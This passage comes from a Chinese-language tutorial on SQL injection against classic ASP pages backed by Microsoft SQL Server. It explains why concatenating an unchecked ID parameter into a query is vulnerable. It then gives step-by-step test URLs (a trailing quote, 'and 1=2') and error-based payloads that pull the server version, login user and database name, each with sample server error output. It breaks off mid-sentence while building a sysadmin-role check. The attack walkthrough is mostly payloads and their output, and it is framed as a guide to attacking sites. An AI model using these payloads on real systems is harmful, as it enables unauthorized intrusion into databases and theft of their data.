<%=rs("content")%>
請注意strSQL="select * from info_article where ID=" & strID這一句。實際運行時,客戶端應當使用類似http://www.abc.com/article_show.ASP?ID=12這樣的URL訪問此ASP程序,當ID為數字12時,strID的值為字符型“12”,VBScript中“&”運算符可以連接任意類型的數據,經過&的連接後,可以得到strSQL字串的值:select * from info_article where ID=12,可以看出這是一個正常的SQL語句。VBScript是一種弱類型語言,不需聲明變量的類型(甚至不需聲明變量),這有時會給編程者帶來方便,但也容易在編程過程中產生不少可被利用的漏洞。正由於在此程序中沒有限定變量strID的類型,因而使這個程序存在SQL注入的漏洞。
二、測試
現在試著在浏覽器中輸入下面的URL“http://www.abc.com/article_show.ASP?ID=12’”,此時類比上面的介紹得到strSQL字串的值為:select * from info_article where ID=12’,這在SQL Server中是一句非法的查詢語句。這時服務器將返回如下的錯誤:
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未閉合的引號。
出現這種錯誤就已經說明這個網站百分百可以進行注入攻擊了。
有些時候服務器顯示“處理URL時服務器上出錯”是因為IIS設置中關閉了向客戶端發送詳細出錯信息,這時不一定不能注入,但相對來講困難極大,只能碰運氣了。
有些時候服務器顯示的內容還是ID=12的內容,沒有任何出錯信息,這可能是開發者過濾掉了單引號,可以使用下面的方法進行嘗試:“article_show.ASP?ID=12 and 1=2”,此時如果出現下面的錯誤,還是有可能進行注入的。
錯誤 '80020009'
發生意外。
注意:出現下面的錯誤信息時肯定無法完成注入:
Microsoft VBScript 運行時錯誤 錯誤 '800a000d'
類型不匹配: 'cint'
r />
非法的參數值。
請輸入正確的參數值。
ADODB.Parameter error '800a0d5d'
Application uses a value of the wrong type for the current Operation.
三、搜集信息
確定可以實施注入攻擊後,可以使用下面的方法對服務器進行測試。
測試SQL Server版本:
article_show.ASP?ID=(SELECT @@VERSION)
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 轉換為數據類型為 int 的列時發生語法錯誤。
測試SQL Server當前的登錄用戶名: article_show.ASP?ID=(USER_NAME())
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 'webuser' 轉換為數據類型為 int 的列時發生語法錯誤。
注意:如果是以sa登錄的在這裡將顯示dbo。
測試SQL Server當前使用的數據庫名稱:
article_show.ASP?ID=(DB_NAME())
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 'sitelog' 轉換為數據類型為 int 的列時發生語法錯誤。
測試當前用戶是否為“sysadmin”組成員
SELECT IS_SRVROLEMEMBER('sysadmin')這句SQL語句可用來測試當前登錄的用戶是否為sysadmin的服務器角色,如果是將返回值1,不是的話返回值0。這裡要將其轉變為字符型數據才能看到具體數值。因此寫下面的URL:(其中char(115)為字符’s’,%2B為加號(+)的UTF-8編碼。